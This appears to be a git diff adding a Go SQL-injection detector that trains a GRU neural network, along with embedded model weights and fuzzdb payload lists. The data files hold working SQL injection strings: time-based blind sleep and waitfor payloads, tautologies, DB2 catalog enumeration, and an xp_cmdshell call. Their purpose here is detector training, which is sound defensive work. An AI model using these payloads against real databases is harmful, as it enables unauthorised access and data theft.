2\xc0\x5c\xda\xca\x31\x71\x9d\xc1\xfd\xa4\x7f\x84\x84\x93\xeb\x9f\xc9\xe0\x84\xf6\x2e\x90\x10\x7d\xe6\xbb\x0c\x22\x37\xec\x86\x84\xed\xdb\xe6\x01\x83\xd8\x35\xb1\x42\xea\x55\x96\x8f\x84\xbd\x2a\x94\xf8\x7f\x6a\xc7\xad\x12\xc6\x86\x7d\x7e\x0c\xae\x6f\x68\x04\x8d\x78\x0a\x0d\x69\x8f\x25\x21\xa4\xf3\x03\xf2\x24\xcc\x9d\x3d\x6d\xa9\xd3\xae\xac\x54\xba\xed\x89\x08\xa2\x98\xfe\x01\x4c\x9f\x7e\x49\xbe\xdc\xe7\x20\x19\xe2\xe7\x0b\x76\x2b\xd8\xdd\x8e\x1c\x54\xb0\x22\x62\x4e\x4a\x98\xbb\x7e\x8a\x63\x30\x9f\x25\xbb\x12\x22\x6a\xf0\x5e\x06\xb7\x62\x28\xa5\xdd\xb2\x32\x0a\x23\x2b\xf8\x4c\x06\x67\xda\x95\x83\x0c\x76\x8b\x63\x51\x0c\x46\xeb\xda\x19\x4c\x6f\xb8\xf2\x13\x83\xd5\x11\x94\x96\xa7\x3f\x3e\xc6\xf4\xca\x12\x32\xb8\x49\x13\x12\x19\x8c\x5f\xef\x94\x30\x18\xd9\x2c\x80\xc1\x7e\x31\xd1\x47\xc2\xfa\xe3\x5c\x1c\x83\x1b\xd2\x9a\xd8\xc9\xef\xb3\x30\x06\xe3\x8d\xf0\x08\x09\xeb\xfd\xe7\x37\x19\x9c\xea\xbd\xa9\xdf\x9f\x0d\xa1\x8c\x5f\x7d\xa1\x2b\xf5\xbe\xef\xc9\xb5\xc7\x74\x48\x66\xb0\xef\xd4\x8f\x67\xb0\xbb\xf5\x4a\x61\xb0\x8d\x8f\x48\xf5\x9e\xae\x2c\x93\x7a\x2e\xbf\x20\x61\x17\xd4\xd9\x2d\x61\x75\xeb\x9c\xc7\x60\xd6\xea\x48\x76\xe7\xb9\x85\x12\xca\x8a\xba\x14\x2c\x07\x0e\xc9\x66\x30\xd7\xa7\x11\x91\x76\x6a\x9c\x26\xb5\x78\x6b\x8a\x84\xdd\xd5\x83\x12\x47\x52\xef\x04\xa9\x0b\x7d\x89\x74\x77\xf6\xca\x64\xba\xe4\x56\x28\x39\x67\x82\x2b\x75\x42\xe3\x78\xa6\x83\x9b\xa6\x33\x38\x13\xb6\x10\xf8\xa6\x1d\xa5\x1e\x7b\xed\xc3\x68\x6a\xa9\xee\xe9\x0c\x6e\x78\xfb\x64\xf2\xab\x2d\x39\x52\x7f\xbf\x96\x02\xe9\xac\xbe\x2e\x83\xfb\x73\xa3\x8b\x74\xd3\x75\x03\x18\x9c\x71\x13\x6e\x2b\x3d\x7f\x1a\x81\x5f\x8b\xd2\x3b\x0a\xf6\x92\x7e\x61\x4a\xbf\xf1\x63\x55\x01\x73\x5e\xf8\x5c\x05\xab\x20\x3c\x43\xc1\xb8\xb8\xfb\x21\x21\xfa\xf2\x54\x05\xf1\x44\x24\x2a\xb8\xb7\x32\x02\x15\xdc\x6a\x9e\x9e\x02\xe2\xcf\xa6\x11\x0a\x46\xfd\x1f\xbd\x14\xac\x09\xbf\x16\x2b\xdd\xaa\x28\x55\xc1\xf8\x2a\x28\x43\x41\x24\x77\x22\x47\x33\xfe\xcc\x56\x30\xde\x09\xf5\x10\xb0\x9a\xd6\xca\x54\x10\x41\x7d\x6f\x71\xd8\x6d\xf7\x5d\xe5\x30\xfb\x4c\xc9\x54\x70\x0f\xfc\x53\xa0\x60\x4f\xbb\x11\xa0\x60\x3c\x0d\xcc\x50\xb0\xaf\x1d\x4e\x52\x70\x86\x1e\x8c\x54\x70\x72\x77\x51\x55\x81\x4f\x92\x82\xb8\xdd\x2c\x4f\xc1\x18\x53\x33\x44\xc1\xac\xf5\x5b\xba\x82\x15\x7c\x77\x31\xd7\x75\xbf\x72\x15\xec\x9c\x99\x37\x15\xcc\xa6\x9f\x65\x2a\x38\x6d\xd7\x17\x29\xd8\x21\x2d\xaa\x08\x7d\xad\xb7\xa3\x60\xb4\xea\x04\xf2\xd4\xe6\xc5\x1c\x56\xd2\xe5\x72\x05\x63\x62\x71\x96\x82\xfd\xc1\xfd\x54\xa5\x13\xde\xcf\x22\x6f\x39\x53\xa1\x60\x9e\xfe\xbb\x9e\x80\xf3\x5e\x52\xa8\xd4\x57\x4a\x23\x98\xae\x5d\x2d\x9f\xe9\x8f\x86\x54\x30\xb8\x49\xdf\x50\x2a\x2a\x79\x4e\xe9\xc1\x99\x15\x2f\xf5\x92\x83\xf7\x25\xac\x98\x9e\x05\x52\xc7\x7b\x15\x30\x18\xc1\x6f\xd2\x7c\x1e\xf8\x22\x81\xc1\xf0\x3b\x53\x26\xe1\xc6\x45\xdc\x96\x10\x1d\x66\xde\x65\x30\x0b\xbe\x89\x93\xba\xd1\x27\xb7\x19\xb5\x0f\xc5\xe8\xf6\x3b\x02\x98\xfe\xb4\x2d\x0d\xd7\x91\x3e\x4f\x18\xac\xc8\x2e\xf7\x08\x2b\x0b\x76\x49\xfd\x78\x81\x1f\x83\xf5\xcf\xf4\xad\x1c\xc6\xf6\xef\x5c\xa9\x1f\x97\xdf\x67\x10\xe5\x3e\xd4\x65\xfd\x2e\xde\x65\xb0\x1e\x6c\xfb\x8d\xc1\xde\xdf\xed\x34\x83\xd0\x6f\x4b\xea\xbe\x70\x92\xd8\xc3\x19\xa5\x1c\xb6\xcf\x99\xda\x02\xce\x9c\x00\x12\xce\x9a\x09\x77\xb8\x0e\xeb\x40\xb0\xf7\xc3\xeb\x9e\x02\xc6\x5b\x97\xea\x09\x98\x37\xc7\xd4\x12\x9a\xcd\xaf\x2f\x20\xbc\xf6\x10\x15\xbe\x7e\xb8\xba\x80\xbb\xc1\xf0\x14\xb0\x7f\x58\x58\xce\xe1\xdc\xfb\x87\x5a\x22\xac\x17\x5d\x77\xdd\x84\xe7\x1c\x86\x77\x8f\x1c\xae\x6f\xff\x0d\x0e\x67\xeb\x3b\x0f\x38\xdc\xca\x77\xca\x38\xcc\x0f\x6e\xe4\x13\x8f\xbc\x57\xca\xe1\x7e\x5e\x4a\x71\xe2\xf7\xd5\x4f\x39\xac\xa5\xdf\x3c\xe6\x30\xf6\x7c\xf3\xdf\x3f\x73\xca\xda\x02\xa6\x57\x83\x6d\x1c\x62\xfd\xd5\xda\x02\x62\xce\xfd\x68\x0e\xfb\xf9\xb8\x52\xae\x5f\x6b\x4a\x9e\xf8\x71\x57\xca\xc1\x2b\x83\x49\x6a\xfe\x1a\xfc\x40\x42\x5c\x78\x4e\x04\xd6\xf2\x6c\x91\x84\xf5\xdb\x78\x3f\x09\xab\xe7\x80\x64\xa9\x73\xbe\xbd\xc5\x60\xd4\xbd\x1e\x4a\x33\x7d\x29\x5e\x3e\xaf\x7b\x5f\xc2\x48\x8f\x8d\x91\x10\x21\x44\x80\xe2\xdd\xfa\x14\x20\xff\x18\x43\xd8\x38\x4c\xe6\x49\x38\x4d\xad\xab\x0c\x56\xab\x2d\xab\x18\xec\xef\xed\x13\x52\xcf\x8c\x4b\x62\x70\x3d\x2b\x83\xa5\x5e\x3e\xe5\x30\xd3\xfb\x8f\x14\x31\xbd\x7a\xe8\x3d\x09\xd7\x6b\xd1\x05\x09\x11\x3f\x21\x5b\x42\xd4\x7a\x3f\x8b\xc1\x7d\xaf\x73\x0a\xd3\x7f\x78\x06\x49\x18\x5d\x6f\x9d\x96\xb0\x52\xc2\x6b\x09\x08\xef\xc9\x14\x6b\x06\x3d\xbc\xcf\xe1\xee\xbe\x57\xce\x61\xfa\x1e\x28\xe3\xb0\x9c\xef\x33\x38\xdc\xe9\x65\x05\x5c\xf7\xff\x97\x4e\x68\x7b\xfb\x0c\x0e\xf1\xdb\x49\xf2\xb6\x1a\xe7\xf3\xb8\xde\x98\x5e\xcc\xe1\xb8\x7e\x74\xce\x33\xb6\x96\x72\xad\xfb\xd2\x43\x5a\xbf\xa0\x4f\xef\x79\xb3\x98\xeb\x73\x1d\x12\x39\xac\xfa\xd9\xe4\x72\xca\xa9\xe0\xba\x60\x5e\x16\x81\xf9\x19\x2a\x3c\x5c\x54\xc8\x61\xd7\xfd\xf6\x31\xa1\xe2\x07\x99\x1c\xce\x96\x61\xc5\x1c\x76\x46\x6c\x39\xd7\x0f\xfe\xfc\xaf\x07\xbe\x20\x95\x6a\x54\x56\xca\x21\x06\xcc\x0b\x64\x30\x46\x93\xcc\x39\xaf\x3e\x08\x60\xda\xfa\x7e\x3f\x87\x75\xf7\xdc\x0d\x06\xd3\x73\xf2\x1d\xa9\x67\xea\x54\xa2\xdc\xd6\xc1\x4c\x57\x19\x11\xcd\xe0\x7a\xef\xa0\x90\xdf\xe9\x71\x34\x9d\x63\xee\x79\xa6\xcf\x24\x14\x13\x62\x8d\x8f\x95\x30\xff\x7d\x19\x21\x61\xec\x96\xc9\x12\xc6\xe1\xf5\x49\x0c\xf6\xc3\xb6\x97\x25\x8c\x0f\xb7\xdd\x97\xb0\x2f\x94\x5e\x65\x30\xcf\x27\x06\x33\x58\x3d\x56\x91\xe9\x35\xff\x8b\xa0\xfd\x5b\xc7\x65\xfa\xc2\x8e\x4c\x09\x27\xf8\xf5\x10\x06\xab\x49\x35\x12\xae\x7f\xfa\xd1\x5a\xbe\x6d\x1f\xce\x60\x0d\xa8\xae\xa4\xf6\xac\x4f\x54\xf4\xd3\xa4\x44\xa6\x5f\xce\x49\x91\xfa\xd1\x0f\xd4\xdf\x97\xaa\xd2\x7d\x4d\xde\x46\xb0\x95\xd8\x8c\x78\xb0\xb6\xb9\x9f\xc3\x38\xd6\x75\x05\xd7\x73\xe7\x2b\x09\xd1\xb0\xf5\x4d\x06\x7b\x49\xe0\x7d\x09\xe7\x1d\xbf\x3b\x0c\xf6\xc5\x78\x22\xcc\x4b\x29\x84\xf0\x75\x47\xb9\x0c\xce\xf6\x3d\x01\x0c\x6e\x93\x59\xc9\x52\x1f\xea\x9d\xca\xe0\x7c\xf8\xdf\xff\x9c\x3e\x7e\x2c\x51\xc2\x5a\xb8\x3d\x9e\xc1\x35\x8c\x38\x06\x63\x4a\xeb\xeb\x12\x4e\xbd\xb0\x24\x06\xc7\xb7\x4e\x18\x59\x61\xa7\xfb\x12\xe2\x95\x06\x0e\x83\x1b\xb6\x39\x4a\xea\x1d\x2f\x42\x18\x9c\x36\xb9\x64\x36\xe9\x19\x91\x12\xc6\x80\x10\x7f\x09\xb7\xe1\xc9\x48\x09\xc7\x77\xd8\x0a\x0e\x63\x78\x78\x11\x83\x18\x56\x10\xc8\xf4\xa3\xa9\xa4\xef\x33\xed\x04\x09\xf3\xb7\x09\xa7\x39\x9c\xb8\x93\x07\x39\xdc\xa0\xa5\x05\x4c\x7f\x95\x9c\x47\xc2\x3d\xf2\x88\x84\xdd\xb7\x73\x22\x83\x75\xf9\x64\x08\x83\x38\x3d\x30\x56\x42\xec\x59\x5e\x24\x21\x76\x47\xd1\x9d\xec\xcf\x2a\x97\x7a\x2e\x23\x74\xff\x82\x93\x17\x3c\x5d\x4c\xa1\x6d\x6c\xef\x47\x12\x56\x3c\x51\x91\xbb\xf2\xe4\x05\x06\xa3\xcd\xff\x23\xb9\xdc\x42\xa2\xda\xe2\x30\x3e\x7a\x3c\xc7\xcb\xe1\x80\x87\x39\x2f\x1e\xa2\x36\x74\xc3\x1a\x88\x82\x7a\x08\xdb\xff\x15\x42\x4d\xbd\x68\x91\xf5\x26\x0b\x45\xcc\x8c\x8c\xc8\x1e\xa6\xa8\xad\x54\x18\xbe\x04\x0e\x39\x89\xc8\x26\xd0\x0a\xa2\x07\xb5\xd4\xca\xb5\x57\x13\x69\xa5\x89\x83\x65\xe9\x78\xd9\xe3\x25\x33\xd1\xc6\x0b\x33\xc5\xb7\xd5\x58\xf4\xba\x61\x2f\x16\xdf\xfa\xff\xbf\xef\xfb\xd9\x6a\x21\xb2\x6b\x95\x62\xfb\xb3\x54\x44\x3e\xfb\xb7\x5e\xc0\x28\x2e\x51\x8e\xd4\x15\x50\xe3\x1d\xb9\xf2\x4a\x07\xaf\xac\x7b\x20\x60\x04\x1a\x7b\x05\xf8\x75\x4f\x9b\x80\x2c\x4b\x9a\x16\x60\xbe\xaa\x09\x1d\x7c\x4f\x91\x3a\xa7\xeb\xc8\x84\xee\xe4\x74\xb7\x28\xf4\x7b\x3f\xa5\x3b\x75\x77\x95\x9c\xc1\xf6\x51\x1d\xf6\x4b\xd5\x03\xec\xf8\x57\xf5\xd6\x9f\xab\x3b\x14\xfc\x76\x8e\xe8\xe0\x4d\xff\x4d\x0a\xb0\x2f\xc7\x94\xb6\xa5\x67\x66\x94\x4b\x2e\x8d\x0b\xb0\x99\x46\x35\x0f\xd3\x87\x7b\x04\xcc\xe9\x1d\x31\x01\x9e\xe7\x1f\x11\xe0\xc3\x37\x22\x3a\xb4\x50\x45\xbf\x80\x19\x2a\x78\x2e\xc0\xcf\x96\x0c\xea\x90\xfd\x1b\x87\x74\xd8\xae\x77\x11\xdd\x69\xdc\xa2\x2c\x73\x5f\xb2\xad\xaf\x16\x8f\x0b\x98\x9d\x4f\x54\xec\x35\x7c\x53\x08\x12\x2e\x78\xad\xc3\x18\x31\x94\x92\x7f\x8f\xd9\x02\x7c\x36\xb3\x57\x40\xfb\xfe\xd3\xc5\xa0\xc5\x22\x21\x72\x52\xbd\x03\x04\xe9\x1d\x1a\x24\x68\xde\xf9\x14\x06\x73\x2e\xf7\x22\xc1\x4c\x2c\x57\x3c\xb6\x77\x4d\xd1\x5e\xe8\xc2\x0f\x82\x2c\xdf\x34\x4a\xb0\xb7\x75\x84\x08\x5a\x30\x2b\x85\x41\xb6\xa8\x54\xd3\x0a\x03\x6d\xe4\x9c\x5b\x53\x30\xd5\xdc\x3d\x47\x30\xb6\xfb\x17\x09\xb2\xa9\xc2\xc5\x9c\x9a\xf9\x24\x06\x63\xfc\x8f\x64\x06\x7b\x67\xf5\x14\x81\xb5\xfb\x5d\x0c\xa6\xaf\x36\x85\x39\xd9\x1f\xa3\x04\xe3\xc5\xca\x0c\x81\xd3\xc3\x37\x04\x9e\x3b\xb6\x44\x4e\xc6\xf0\x10\xc1\x7c\xfc\x74\x4a\xf5\xd5\xd3\x0b\x04\xee\x3b\xa1\xbe\xdc\xce\x50\x9d\xd6\xf3\xe9\x2d\x39\x89\xa5\x6a\xf3\x8f\x66\xd6\x5a\x60\x97\xb2\x66\x09\xf2\xfe\x72\x90\xa0\xf9\x3f\x4c\x10\x0c\xf7\xa3\x45\x82\xd6\x73\xea\x4f\x06\x76\xfc\x66\x02\x83\x79\x39\x5d\x5d\xe0\x40\x46\x02\x03\x2b\x89\x2d\x10\x58\x3c\xb5\xd9\x02\x2b\xf2\x0c\x12\xd8\xf2\x64\x3d\xc1\xdc\x1d\x5c\x21\xc8\xb6\xb4\x7f\x18\xad\x57\xba\xd2\x60\xe3\xfc\x8a\x05\xee\x75\x27\x48\xf0\xcd\x79\x7f\x49\xd8\x39\x4d\x31\x0b\x06\x33\xa3\x16\xa4\xaf\xa1\xdb\x72\x1a\x0e\xdd\x23\xf0\xf4\xcc\x55\x0b\xc6\xff\x77\x92\x24\xec\x82\x01\x58\xbf\xff\x37\xfa\xdd\x36\x41\x0b\xb4\x46\x2d\xf0\x93\x7d\x2a\x2d\x36\x54\x85\x2d\x98\xbb\x0a\xe3\x16\xd8\x41\xb7\x6d\x41\xdb\xda\x1a\x25\xc8\x6b\x7d\xab\x96\xe3\xb9\x15\x26\x98\x35\x85\x71\x4a\x5f\xaf\x74\x25\x42\x96\xe5\x87\x09\xda\xd5\xfc\xb0\xf5\x2b\x00\x00\xff\xff\x3f\xe5\x1e\x74\x78\x4c\x00\x00") + +func init() { + err := CTX.Err() + if err != nil { + panic(err) + } + + var f webdav.File + + var rb *bytes.Reader + var r *gzip.Reader + + rb = bytes.NewReader(FileWeightsW) + r, err = gzip.NewReader(rb) + if err != nil { + panic(err) + } + + err = r.Close() + if err != nil { + panic(err) + } + + f, err = FS.OpenFile(CTX, "weights.w", os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0777) + if err != nil { + panic(err) + } + + _, err = io.Copy(f, r) + if err != nil { + panic(err) + } + + err = f.Close() + if err != nil { + panic(err) + } + + Handler = &webdav.Handler{ + FileSystem: FS, + LockSystem: webdav.NewMemLS(), + } + +} + +// Open a file +func (hfs *HTTPFS) Open(path string) (http.File, error) { + + f, err := FS.OpenFile(CTX, path, os.O_RDONLY, 0644) + if err != nil { + return nil, err + } + + return f, nil +} + +// ReadFile is adapTed from ioutil +func ReadFile(path string) ([]byte, error) { + f, err := FS.OpenFile(CTX, path, os.O_RDONLY, 0644) + if err != nil { + return nil, err + } + + buf := bytes.NewBuffer(make([]byte, 0, bytes.MinRead)) + + // If the buffer overflows, we will get bytes.ErrTooLarge. + // Return that as an error. Any other panic remains. + defer func() { + e := recover() + if e == nil { + return + } + if panicErr, ok := e.(error); ok && panicErr == bytes.ErrTooLarge { + err = panicErr + } else { + panic(e) + } + }() + _, err = buf.ReadFrom(f) + return buf.Bytes(), err +} + +// WriteFile is adapTed from ioutil +func WriteFile(filename string, data []byte, perm os.FileMode) error { + f, err := FS.OpenFile(CTX, filename, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm) + if err != nil { + return err + } + n, err := f.Write(data) + if err == nil && n < len(data) { + err = io.ErrShortWrite + } + if err1 := f.Close(); err == nil { + err = err1 + } + return err +} + +// WalkDirs looks for files in the given dir and returns a list of files in it +// usage for all files in the b0x: WalkDirs("", false) +func WalkDirs(name string, includeDirsInList bool, files ...string) ([]string, error) { + f, err := FS.OpenFile(CTX, name, os.O_RDONLY, 0) + if err != nil { + return nil, err + } + + fileInfos, err := f.Readdir(0) + if err != nil { + return nil, err + } + + err = f.Close() + if err != nil { + return nil, err + } + + for _, info := range fileInfos { + filename := path.Join(name, info.Name()) + + if includeDirsInList || !info.IsDir() { + files = append(files, filename) + } + + if info.IsDir() { + files, err = WalkDirs(filename, includeDirsInList, files...) + if err != nil { + return nil, err + } + } + } + + return files, nil +} diff --git a/activity/sqld/injectsec/cmd/injectsec_train/main.go b/activity/sqld/injectsec/cmd/injectsec_train/main.go new file mode 100644 index 0000000..d8cf302 --- /dev/null +++ b/activity/sqld/injectsec/cmd/injectsec_train/main.go @@ -0,0 +1,351 @@ +// Copyright 2018 The InjectSec Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package main + +import ( + "bufio" + "encoding/csv" + "flag" + "fmt" + "math/rand" + "os" + "regexp" + "sort" + "strings" + + dat "github.com/project-flogo/microgateway/activity/sqld/injectsec/data" + "github.com/project-flogo/microgateway/activity/sqld/injectsec/gru" +) + +var ( + rnd *rand.Rand + // FuzzFiles are the files to train on + FuzzFiles = []string{ + "./data/Generic-BlindSQLi.fuzzdb.txt", + "./data/Generic-SQLi.txt", + } +) + +// Example is a training example +type Example struct { + Data []byte + Attack bool +} + +// Examples are a set of examples +type Examples []Example + +// Permute puts the examples into random order +func (e Examples) Permute() { + length := len(e) + for i := range e { + j := i + rand.Intn(length-i) + e[i], e[j] = e[j], e[i] + } +} + +func generateTrainingData() (training, validation Examples) { + generators := dat.TrainingDataGenerator(rnd) + for _, generator := range generators { + if generator.SkipTrain == true { + continue + } + if generator.Regex != nil { + parts := dat.NewParts() + generator.Regex(parts) + for i := 0; i < 128; i++ { + line, err := parts.Sample(rnd) + if err != nil { + panic(err) + } + training = append(training, Example{[]byte(strings.ToLower(line)), true}) + } + } + } + + var symbols []rune + for s := '0'; s <= '9'; s++ { + symbols = append(symbols, s) + } + for i := 0; i < 128; i++ { + example, size := "", 1+rnd.Intn(8) + for j := 0; j < size; j++ { + example += string(symbols[rnd.Intn(len(symbols))]) + } + training = append(training, Example{[]byte(strings.ToLower(example)), false}) + } + + for s := 'a'; s <= 'z'; s++ { + symbols = append(symbols, s) + } + for i := 0; i < 2048; i++ { + left, size := "", 1+rnd.Intn(8) + if rnd.Intn(2) == 0 { + left += " " + } + for j := 0; j < size; j++ { + left += string(symbols[rnd.Intn(len(symbols))]) + } + right, size := "", 1+rnd.Intn(8) + for j := 0; j < size; j++ { + right += string(symbols[rnd.Intn(len(symbols))]) + } + if rnd.Intn(2) == 0 { + right += " " + } + example := "" + switch rnd.Intn(3) { + case 0: + example = left + "or" + right + case 1: + example = left + "or" + case 2: + example = "or" + right + } + training = append(training, Example{[]byte(strings.ToLower(example)), false}) + } + + var symbolsNumeric, symbolsAlphabet []rune + for s := '0'; s <= '9'; s++ { + symbolsNumeric = append(symbolsNumeric, s) + } + for s := 'a'; s <= 'z'; s++ { + symbolsAlphabet = append(symbolsAlphabet, s) + } + length := len(training) + for i := 0; i < length; i++ { + words, example, ws := rnd.Intn(3)+1, "", "" + for w := 0; w < words; w++ { + example += ws + size, typ := 1+rnd.Intn(16), rnd.Intn(3) + switch typ { + case 0: + for j := 0; j < size; j++ { + example += string(symbolsNumeric[rnd.Intn(len(symbolsNumeric))]) + } + case 1: + for j := 0; j < size; j++ { + example += string(symbolsAlphabet[rnd.Intn(len(symbolsAlphabet))]) + } + case 2: + for j := 0; j < size; j++ { + example += string(symbols[rnd.Intn(len(symbols))]) + } + } + ws = " " + } + training = append(training, Example{[]byte(strings.ToLower(example)), false}) + } + + training.Permute() + validation = training[:2000] + training = training[2000:] + + for _, generator := range generators { + if generator.SkipTrain == true { + continue + } + if generator.Case == "" { + training = append(training, Example{[]byte(strings.ToLower(generator.Form)), true}) + } else { + training = append(training, Example{[]byte(strings.ToLower(generator.Case)), true}) + } + } + + return +} + +func printChunks() { + chunks := make(map[string]int, 0) + for _, file := range FuzzFiles { + in, err := os.Open(file) + if err != nil { + panic(err) + } + reader := bufio.NewReader(in) + line, err := reader.ReadString('\n') + for err == nil { + line = strings.ToLower(strings.TrimSuffix(line, "\n")) + symbols, buffer := []rune(line), make([]rune, 0, 32) + for _, v := range symbols { + if v >= 'a' && v <= 'z' { + buffer = append(buffer, v) + } else if len(buffer) > 1 { + chunks[string(buffer)]++ + buffer = buffer[:0] + } else { + buffer = buffer[:0] + } + } + line, err = reader.ReadString('\n') + } + } + type Chunk struct { + Chunk string + Count int + } + ordered, i := make([]Chunk, len(chunks)), 0 + for k, v := range chunks { + ordered[i] = Chunk{ + Chunk: k, + Count: v, + } + i++ + } + sort.Slice(ordered, func(i, j int) bool { + return ordered[i].Count > ordered[j].Count + }) + for _, v := range ordered { + fmt.Println(v) + } + fmt.Println(len(chunks)) +} + +var ( + help = flag.Bool("help", false, "print help") + chunks = flag.Bool("chunks", false, "generate chunks") + print = flag.Bool("print", false, "print training data") + parts = flag.Bool("parts", false, "test parts") + data = flag.String("data", "", "use data for training") + epochs = flag.Int("epochs", 1, "the number of epochs for training") +) + +func main() { + flag.Parse() + if *help { + flag.Usage() + return + } + + rnd = rand.New(rand.NewSource(1)) + + if *chunks { + printChunks() + return + } + + if *print { + generators := dat.TrainingDataGenerator(rnd) + for _, generator := range generators { + fmt.Println(generator.Form) + if generator.Regex != nil { + parts := dat.NewParts() + generator.Regex(parts) + for i := 0; i < 10; i++ { + fmt.Println(parts.Sample(rnd)) + } + } + fmt.Println() + } + return + } + + if *parts { + generators, count, attempts, nomatch := dat.TrainingDataGenerator(rnd), 0, 0, 0 + for _, generator := range generators { + if generator.Regex != nil { + parts := dat.NewParts() + generator.Regex(parts) + exp, err := parts.Regex() + if err == nil { + regex, err := regexp.Compile(exp) + if err != nil { + panic(err) + } + form := strings.ToLower(generator.Form) + if generator.Case != "" { + form = strings.ToLower(generator.Case) + } + attempts++ + if !regex.MatchString(form) { + nomatch++ + fmt.Println(exp) + fmt.Println(form) + fmt.Println() + } + } + count++ + } + } + fmt.Println(count, attempts, nomatch) + return + } + + os.Mkdir("output", 0744) + results, err := os.Create("output/results.txt") + if err != nil { + panic(err) + } + defer results.Close() + + printResults := func(a ...interface{}) { + s := fmt.Sprint(a...) + fmt.Println(s) + results.WriteString(s + "\n") + } + + training, validation := generateTrainingData() + if *data != "" { + in, err1 := os.Open(*data) + if err1 != nil { + panic(err1) + } + defer in.Close() + var custom Examples + reader := csv.NewReader(in) + line, err1 := reader.Read() + for err1 != nil { + example := Example{ + Data: []byte(line[0]), + Attack: line[1] == "attack", + } + custom = append(custom, example) + line, err1 = reader.Read() + } + custom.Permute() + cutoff := (80 * len(custom)) / 100 + training = append(training, custom[:cutoff]...) + validation = append(validation, custom[cutoff:]...) + } + + fmt.Println(len(training)) + + networkRnd := rand.New(rand.NewSource(1)) + network := gru.NewGRU(networkRnd) + + for epoch := 0; epoch < *epochs; epoch++ { + training.Permute() + for i, example := range training { + cost := network.Train(example.Data, example.Attack) + if i%100 == 0 { + fmt.Println(cost) + } + } + + file := fmt.Sprintf("output/w%v.w", epoch) + printResults(file) + err = network.WriteFile(file) + if err != nil { + panic(err) + } + + correct, attacks, nattacks := 0, 0, 0 + for i := range validation { + example := validation[i] + attack := network.Test(example.Data) + if example.Attack == attack { + correct++ + } else { + printResults(string(example.Data), example.Attack, attack) + } + if example.Attack { + attacks++ + } else { + nattacks++ + } + } + printResults(attacks, nattacks, correct, len(validation)) + } +} diff --git a/activity/sqld/injectsec/data/DB2Enumeration.fuzzdb.txt b/activity/sqld/injectsec/data/DB2Enumeration.fuzzdb.txt new file mode 100644 index 0000000..316e58a --- /dev/null +++ b/activity/sqld/injectsec/data/DB2Enumeration.fuzzdb.txt @@ -0,0 +1,12 @@ +select versionnumber, version_timestamp from sysibm.sysversions; +select user from sysibm.sysdummy1; +select session_user from sysibm.sysdummy1; +select system_user from sysibm.sysdummy1; +select current server from sysibm.sysdummy1; +select name from sysibm.systables; +select grantee from syscat.dbauth; +select * from syscat.tabauth; +select * from syscat.dbauth where grantee = current user; +select * from syscat.tabauth where grantee = current user; +select name, tbname, coltype from sysibm.syscolumns; +SELECT schemaname FROM syscat.schemata; diff --git a/activity/sqld/injectsec/data/Generic-BlindSQLi.fuzzdb.txt b/activity/sqld/injectsec/data/Generic-BlindSQLi.fuzzdb.txt new file mode 100644 index 0000000..71d2174 --- /dev/null +++ b/activity/sqld/injectsec/data/Generic-BlindSQLi.fuzzdb.txt @@ -0,0 +1,42 @@ +# from wapiti +sleep(__TIME__)# +1 or sleep(__TIME__)# +" or sleep(__TIME__)# +' or sleep(__TIME__)# +" or sleep(__TIME__)=" +' or sleep(__TIME__)=' +1) or sleep(__TIME__)# +") or sleep(__TIME__)=" +') or sleep(__TIME__)=' +1)) or sleep(__TIME__)# +")) or sleep(__TIME__)=" +')) or sleep(__TIME__)=' +;waitfor delay '0:0:__TIME__'-- +);waitfor delay '0:0:__TIME__'-- +';waitfor delay '0:0:__TIME__'-- +";waitfor delay '0:0:__TIME__'-- +');waitfor delay '0:0:__TIME__'-- +");waitfor delay '0:0:__TIME__'-- +));waitfor delay '0:0:__TIME__'-- +'));waitfor delay '0:0:__TIME__'-- +"));waitfor delay '0:0:__TIME__'-- +benchmark(10000000,MD5(1))# +1 or benchmark(10000000,MD5(1))# +" or benchmark(10000000,MD5(1))# +' or benchmark(10000000,MD5(1))# +1) or benchmark(10000000,MD5(1))# +") or benchmark(10000000,MD5(1))# +') or benchmark(10000000,MD5(1))# +1)) or benchmark(10000000,MD5(1))# +")) or benchmark(10000000,MD5(1))# +')) or benchmark(10000000,MD5(1))# +pg_sleep(__TIME__)-- +1 or pg_sleep(__TIME__)-- +" or pg_sleep(__TIME__)-- +' or pg_sleep(__TIME__)-- +1) or pg_sleep(__TIME__)-- +") or pg_sleep(__TIME__)-- +') or pg_sleep(__TIME__)-- +1)) or pg_sleep(__TIME__)-- +")) or pg_sleep(__TIME__)-- +')) or pg_sleep(__TIME__)-- diff --git a/activity/sqld/injectsec/data/Generic-SQLi.txt b/activity/sqld/injectsec/data/Generic-SQLi.txt new file mode 100644 index 0000000..4a30a2e --- /dev/null +++ b/activity/sqld/injectsec/data/Generic-SQLi.txt @@ -0,0 +1,267 @@ +)%20or%20('x'='x +%20or%201=1 +; execute immediate 'sel' || 'ect us' || 'er' +benchmark(10000000,MD5(1))# +update +";waitfor delay '0:0:__TIME__'-- +1) or pg_sleep(__TIME__)-- +||(elt(-3+5,bin(15),ord(10),hex(char(45)))) +"hi"") or (""a""=""a" +delete +like +" or sleep(__TIME__)# +pg_sleep(__TIME__)-- +*(|(objectclass=*)) +declare @q nvarchar (200) 0x730065006c00650063 ... + or 0=0 # +insert +1) or sleep(__TIME__)# +) or ('a'='a +; exec xp_regread +*| +@var select @var as var into temp end -- +1)) or benchmark(10000000,MD5(1))# +asc +(||6) +"a"" or 3=3--" +" or benchmark(10000000,MD5(1))# +# from wapiti + or 0=0 -- +1 waitfor delay '0:0:10'-- + or 'a'='a +hi or 1=1 --" +or a = a + UNION ALL SELECT +) or sleep(__TIME__)=' +)) or benchmark(10000000,MD5(1))# +hi' or 'a'='a +0 +21 % +limit + or 1=1 + or 2 > 1 +")) or benchmark(10000000,MD5(1))# +PRINT +hi') or ('a'='a + or 3=3 +));waitfor delay '0:0:__TIME__'-- +a' waitfor delay '0:0:10'-- +1;(load_file(char(47,101,116,99,47,112,97,115, ... +or%201=1 +1 or sleep(__TIME__)# +or 1=1 + and 1 in (select var from temp)-- + or '7659'='7659 + or 'text' = n'text' + -- + or 1=1 or ''=' +declare @s varchar (200) select @s = 0x73656c6 ... +exec xp +; exec master..xp_cmdshell 'ping 172.10.1.255'-- +3.10E+17 +" or pg_sleep(__TIME__)-- +x' AND email IS NULL; -- +& +admin' or ' + or 'unusual' = 'unusual' +// +truncate +1) or benchmark(10000000,MD5(1))# +\x27UNION SELECT +declare @s varchar(200) select @s = 0x77616974 ... 